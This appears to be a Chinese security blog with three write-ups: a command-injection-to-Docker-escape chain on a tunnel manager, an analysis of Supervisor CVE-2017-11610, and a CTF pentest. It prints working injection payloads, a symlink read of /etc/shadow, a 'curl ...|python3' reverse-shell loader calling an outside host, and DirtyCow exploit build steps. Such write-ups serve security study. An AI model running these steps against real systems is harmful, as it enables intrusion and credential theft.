Tunnel Manager - From RCE to Docker Escape

TL; DR

题目有些标题党了。这个漏洞是我在测试 biligame 是发现的,此程序监听在 8081 端口,是一个管理 PPTP 的 Web Interface。首先,通过黑盒测试,发现存在一个在 Docker 容器内的命令执行,接着通过 banner 搜索,在 Github 上找到源代码,通过阅读源码,实现了 Docker 容器外的文件读取,最后通过 DirtyCow 来逃逸 Docker。 非常 CTF 的一个魔幻经历,于是写了一篇文章来分享一下。

RCE

访问目标站,很贴心的列出了 endpoints:

首先测试一下其正常功能:

列出 VPN:

bash-3.2$ curl target:8081/tunnels 2> /dev/null | jq
[
  {
    "status": "INITIAL",
    "external": null,
    "local": "172.17.0.2",
    "dns1": null,
    "tunnel_ip": null,
    "user": "[...]",
    "server": "[...]",
    "id": "[...]",
    "dns2": null,
    "port": [...]
  },
  ...
]

添加 VPN:

bash-3.2$ curl target:8081/tunnel --data ""
<h1>500 Internal Server Error</h1>Param: name not found!

bash-3.2$ curl target:8081/tunnel --data "name=test"
<h1>500 Internal Server Error</h1>Param: server not found

...

bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"a.asf.loli.club","id":"test","dns2":null,"port":5555}

通过报错显示出需要的参数:name、server、user、pass、port。

删除 VPN:

bash-3.2$ curl -XDELETE target:8081/tunnel/test
test

边缘测试,显示报错信息:

bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"a.asf.loli.club","id":"test","dns2":null,"port":5555}

bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555"
{"Err":"docker: Error response from daemon: Conflict. The name \"/test\" is already in use by container 1dfabf508870215bb0592e6a8666bd47498157ed631baf54d54cbb0ecf5dcc4b. You have to remove (or rename) that container to be able to reuse that name..\nSee 'docker run --help'.\n"}

发现是 Docker 的报错信息,而且根据回显,推测是后端直接调用 Docker 命令。
有调用就有 RCE,于是我尝试在 :name 参数进行命令注入,但是失败了,推测应该是有 escape。

bash-3.2$ curl -XDELETE target:8081/tunnel/\`a\`test
<h1>500 Internal Server Error</h1>Error response from daemon: No such container: `a`test

bash-3.2$ curl -XDELETE target:8081/tunnel/\'\`a\`test
<h1>500 Internal Server Error</h1>Error response from daemon: No such container: '`a`test

接着我测试在添加 VPN 出的命令注入,不出所料,存在:

bash-3.2$ curl target:8081/tunnel  --data "name=test&server=\`whoami\`-bilibili.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"`whoami`-bilibili.asf.loli.club","id":"test","dns2":null,"port":5555}


高兴了大概 1 分钟,我就发现,其实我命令执行的地方是在一个 Docker 容器内:

bash-3.2$ curl target:8081/tunnel  --data "name=test&server=\`ls%20/.docker*\`-bilibili.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"`whoami`-bilibili.asf.loli.club","id":"test","dns2":null,"port":5555}

文件读取

通过搜索 banner,我找到了这个网站的源代码:https://github.com/bearice/tunnel-manager/blob/master/src/API.hs
通过阅读源码,我发现了一个比较有意思的未公开 API:

tunnelLogs :: String -> IO String
tunnelLogs name = do
    let path = flags_dataDir </> name <.> "log"
    sh $ "tail " ++ escape path

...

get "/tunnel/:name/logs" $ do
  name <- param "name"
  logs <- liftIO $ tunnelLogs name
  text $ L.pack logs

在调用这个 API 时,会读取 /data/:name.log。再看看创建 Docker 时候:

tunnelCreate :: String -> String -> String -> String -> Maybe String -> IO (Either String TunnelInfo)
tunnelCreate ""   _      _    _    _ = return $ Left "Name must not be empty"
tunnelCreate _    ""     _    _    _ = return $ Left "Server must not be empty"
tunnelCreate name server user pass port = do
    let n = escape name
    let portDef = case port of
            Just p  -> "-p "++p++":3128"
            Nothing -> "-p 3128"

    r <- shExJoin ["docker run -d --restart=always"
                  ,"--device /dev/ppp"
                  ,"--cap-add=net_admin"
                  ,"--name",n,"-h",n
                  ,"-v "++flags_dataDir++":/data", portDef, flags_image
                  ,"/init.sh ", escapeMany [server,user,pass]
                  ]
    case r of
        Left err -> return $ Left err
        Right _  -> tunnelInfo name

注意这一行:

,"-v "++flags_dataDir++":/data", portDef, flags_image

由于这个 API 运行在容器外,但是容器内的 /data 可以操控,于是通过创建软链接即可读取到容器外的文件。
在容器内:

root@fff2:/data# rm fff.log && ln -s /etc/shadow fff.log
ln -s /etc/shadow fff.log

接着访问 logs:

bash-3.2$ curl target:8081/tunnel/fff/logs
nobody:*:16176:0:99999:7:::
libuuid:!:16176:0:99999:7:::
syslog:*:16176:0:99999:7:::
messagebus:*:16179:0:99999:7:::
landscape:*:16179:0:99999:7:::
sshd:*:16179:0:99999:7:::
ubuntu:$6$7yyw0fAK$[...]5.Urq81:17134:0:99999:7:::
ntp:*:16179:0:99999:7:::
dnsmasq:*:16179:0:99999:7:::
colord:*:16179:0:99999:7:::

Bingo,至此通过 Docker 配合 API 的文件读取完成。

Escape!

但是,满足吗?
我是不满足的,文件读取还只是 tail 的一部分,并不能威胁到服务器的核心安全。
通过一些信息收集,我发现此服务器内核版本较低,可能可以通过 DirtyCow (CVE-2016-5195) 来进行 Docker 逃逸。

root@fff2:/data# uname -a
Linux fff2 3.13.0-88-generic #135-Ubuntu SMP Wed Jun 8 21:10:42 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

内核更新时间是 2016 年 6 月,而 DirtyCow 是在 2016 年 10 月,感觉看到了希望。
不过在进行逃逸之前,需要清除一些小障碍。

调用 API 后,Docker 运行的是 ppp 命令,在超过超时时间后,就会断开 shell。由于需要编译 payload,那么必须安装 gcc 以及 make,但是时间超过了超时时间。
不过根据 API,通过 :name/down:name/up,可以 start/stop Docker 容器,通过修改 init.sh 为反弹 shell 的脚本,接着 docker stop,再 start 后就会获得一个稳定的 shell:

root@fff2:/data# cat /init.sh
#!/bin/bash
curl ricterz.me:8080/|python3

接着:

bash-3.2$ curl target:8081/tunnel/fff2/down
...
bash-3.2$ curl target:8081/tunnel/fff2/up

安装好 gcc、nasm、make 后,编译 payload 运行失败。

root@fff2:/data/dirtycow-vdso-master# ./0xdeadbeef 172.17.0.8:1234
[*] payload target: 172.17.0.8:1234
[-] failed to patch payload's ip

虽然不知道发生了什么,但是我有一种感觉,就是 exp 作者更新了版本导致 exp 挂掉。于是我下载了老版本的 exp,编译后成功获得 shell:

# git clone https://github.com/scumjr/dirtycow-vdso/
Cloning into 'dirtycow-vdso'...
remote: Counting objects: 99, done.
remote: Total 99 (delta 0), reused 0 (delta 0), pack-reused 99
Unpacking objects: 100% (99/99), done.
Checking connectivity... done.
# cd dirtycow-vdso
# git reset --hard ef252dee4784758a494b4286e5ff1dac26e57c7d
HEAD is now at ef252de add another prologue
# sed -i 's/0x0100007f/0x80011ac/g' payload.s
# make
make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread
# ./0xdeadbeef
[*] exploit: patch 1/2
[*] vdso successfully backdoored
[*] exploit: patch 2/2
[*] vdso successfully backdoored
[*] waiting for reverse connect shell...
[*] enjoy!
[*] restore: patch 2/2
ifconfig
docker0   Link encap:Ethernet  HWaddr [...]
          inet addr:172.17.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
          ...

eth0      Link encap:Ethernet  HWaddr [...]
          inet addr:10.10.177.79  Bcast:10.10.255.255  Mask:255.255.0.0
          ...

至此,逃逸成功。


CVE-2017-11610: Supervisor Object Traversal To RCE

TL; DR

惊闻 Supervisor 爆出一个 RCE,粗略的跟了一下代码,是 Object Traversal 造成的。Supervisor 在处理 XMLRPC 的过程中,通过 getattr 获取定义的 namespace 的属性或者方法,其中,可以通过逐层访问其命名空间内所有的属性,最终调用 execute 方法,导致 RCE。

分析

开启 supervisord 时,进入 options.py,会调用到 make_http_servers 方法,

def openhttpservers(self, supervisord):
    try:
        self.httpservers = self.make_http_servers(supervisord)
        self.unlink_socketfiles = True
    except socket.error as why:

接着 make_http_servers 会将各种 RPC Interface 加入命名空间:

    subinterfaces = []
    for name, factory, d in options.rpcinterface_factories:
        try:
            inst = factory(supervisord, **d)
        except:
            tb = traceback.format_exc()
            options.logger.warn(tb)
            raise ValueError('Could not make %s rpc interface' % name)
        subinterfaces.append((name, inst))
        options.logger.info('RPC interface %r initialized' % name)

    subinterfaces.append(('system',
                          SystemNamespaceRPCInterface(subinterfaces)))
    xmlrpchandler = supervisor_xmlrpc_handler(supervisord, subinterfaces)

如果配置文件定义了 inet_http_server 则会启动一个 HTTP XML RPC,否则只会创建一个 unix socket。

Supervisor 的 RPC 有两个 namespace,一个是 system,提供了部分诸如 listMethods 之类的方法;另外一个是 supervisord,提供了很多 supervisor 相关的方法。具体可以看代码,不再赘述。

当然,以上只是初始化 XMLRPC。通过 git reset --hard 2c601dbe 返回到修复漏洞之前的代码,重点在 xmlrpc.py 里:

def traverse(ob, method, params):
    path = method.split('.')
    for name in path:
        if name.startswith('_'):
            # security (don't allow things that start with an underscore to
            # be called remotely)
            raise RPCError(Faults.UNKNOWN_METHOD)
        ob = getattr(ob, name, None)
        if ob is None:
            raise RPCError(Faults.UNKNOWN_METHOD)

    try:
        return ob(*params)
    except TypeError:
        raise RPCError(Faults.INCORRECT_PARAMETERS)

首先,传入的 method 会被 split by '.',得到一个调用链,接着用 for 循环逐层 getattr,赋值给 ob,最终调用 ob。
这里可以得到几点:

  • supervisor 未限制调用的层数
  • 调用链的最终一个会被当作函数调用(path[-1])
  • 参数无限制

那么,通过各个层级寻找可以利用的点就可以执行任意命令了。

PoC

https://github.com/Supervisor/supervisor/issues/964 给出的是 supervisor.supervisord.options.execve
用过 pdb 调试,可以得到 supervisord 下存在 options 属性,options 里面存在 execve 方法:

最终调用:

其中要求第二个参数为 tuple / list,随便构造即可。

最终:

Supervisor 修复的也很鸡贼:

def traverse(ob, method, params):
    dotted_parts = method.split('.')
    # security (CVE-2017-11610, don't allow object traversal)
    if len(dotted_parts) != 2:
        raise RPCError(Faults.UNKNOWN_METHOD)
    namespace, method = dotted_parts

    # security (don't allow methods that start with an underscore to
    # be called remotely)
    if method.startswith('_'):
        raise RPCError(Faults.UNKNOWN_METHOD)

    rpcinterface = getattr(ob, namespace, None)
    if rpcinterface is None:
        raise RPCError(Faults.UNKNOWN_METHOD)

    func = getattr(rpcinterface, method, None)
    if not isinstance(func, types.MethodType):
        raise RPCError(Faults.UNKNOWN_METHOD)

    try:
        return func(*params)
    except TypeError:
        raise RPCError(Faults.INCORRECT_PARAMETERS)

有以下几点:

  • 限制了 split by '.' 后长度只能为 2
  • 去掉 for 循环,只有两次 getattr;第一次选择 namespace,第二次选择方法
  • 验证了方法类型为类方法

昨晚看了一下,这样改后,方法不能以 _ 开头,但是 namespace 是可以的,于是可以访问其中的 __init____doc__,虽然并没有什么卵用。

我感觉这种 Object Traversal,在动态语言中会很常见。包括 Java 中也会有任意实例化类的漏洞存在,PHP 中也见到很多次(包括 call_user_func)。之后在这个方向上进行漏洞挖掘,估计会有不小的收获。


CUIT CTF Pentest Writeup

开始打这个比赛的时候,看到渗透题还没人做,以为是刚开始比赛呢,结果没想到已经是尾声了[facepalm]。
渗透题挺好玩,常规渗透流程即可。

0x01 FLAG 1

dnsbrute 跑一下:

Domain,Type,Record
rootk.pw,CNAME,rootk.pw.cname.yunjiasu-cdn.net
mail.rootk.pw,CNAME,mail.rootk.pw.cname.yunjiasu-cdn.net
ns2.rootk.pw,A,115.29.36.83
ns1.rootk.pw,A,115.29.36.83

NS 服务器,看起来就能日,nmap:

Nmap scan report for 115.29.36.83
Host is up (0.022s latency).
Not shown: 65526 closed ports, 3 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
111/tcp   open  rpcbind
443/tcp   open  https
8080/tcp  open  http-proxy
40403/tcp open  unknown

打开 8080 和 443,一样的东西:

扫描目录:

[01:31:15] 200 -    0B  - /config.php
[01:31:15] 200 -    0B  - /config.php
[01:31:17] 301 -  312B  - /css  ->  https://115.29.36.83/css/
[01:31:20] 200 -   73B  - /edit.php
[01:31:21] 403 -  287B  - /error/
[01:31:23] 301 -  314B  - /fonts  ->  https://115.29.36.83/fonts/
[01:31:27] 200 -    6KB - /index.php
[01:31:28] 200 -    6KB - /index.php/login/
[01:31:32] 200 -   73B  - /main.php
[01:31:48] 301 -  315B  - /static  ->  https://115.29.36.83/static/
[01:31:51] 301 -  314B  - /tools  ->  https://115.29.36.83/tools/

但是 443 可以列目录,打开 tools 目录:

有个 bot.py

import requests

url = 'http://10.211.55.3/program/sctf-web-111/admin_log/index.php'
r = requests.get(url)

if 'action="index.php"' in r.content and 'name="user"' in r.content and 'name="pass"' in r.content:
  print 'Ok!'
  data = {
    'user':'admin',
    'pass':'123456'
  }
  res = requests.post(url,data=data)
  if 'Login Successed' in res.content:
    print 'Login Successed'
else:
  print 'Error!'

10.211.55.3,这个是 Parallels Desktop 的 IP。反正看起来就是个测试服务有没有挂的东西吧。
看了下 edit.php,发现可以在未登录的情况下修改 IP。这里是个预期外的解,但是既然出题人写出来的漏洞,那就不客气啦。

联想到 bot.py,那么我在服务器上监听了 80,看看有什么返回内容:

GET 了一个域名 admin_log.rootk.pw。把页面扒下来,然后用 PHP 返回页面内容:

得到结果:

登陆不进去,问了下出题人,他说“输入错误密码为了防止钓鱼”。感觉这里有点脑洞了其实。
加上一句代码:

if ($_POST['user'] == 'test') {
    echo "<script>alert('Username Or Password Error !');</script>";
}

然后拿到密码:

user=sycMovieAdmin&pass=H7e27PQaHQ8Uefgj

搞定:

0x02 NO FLAG 2

这个我没想做了,因为比赛已经快结束了。第一道题做完大概晚上七点半左右。
从注入开始:

http://www.rootk.pw/single.php?id=1

id 可以注入,但是有一个百度的 WAF 拦着。fuzz:


发现程序过滤了空字符:

这样就可以 bypass 百度的 WAF:

SELECT -> SE LECT

因为过滤了空格:

空格 -> / **/


写一个 sqlmap 的 tamper:

跑了一堆数据,没啥用。
既然是模拟 root,估计是 UDF。但是需要写文件。又因为文件很大,还要分段写入:

然后导出到 plugin_dir(payload 找不到了,大概就是 concat 然后 into dumpfile):
然后 create function,接着可以执行了:

然后在服务器上翻到了一些东西:

登陆邮箱拿到了网络拓扑图:

然后找到 bakup 服务器是 10.10.10.200,开了 80 端口,存在 PHP 服务。 目前我的进度就到此为止。

0x03 FLAG 2

剩下是出题人说的思路,和我想的差不多,如果时间够的话应该就能搞定了。

  • 通过 fastcgi 打 10.10.10.200
  • 反弹一个 shell,然后代理进入内网
  • 通过 MS17-010 打 Windows 2008
  • 应该就能拿到 FLAG 2 了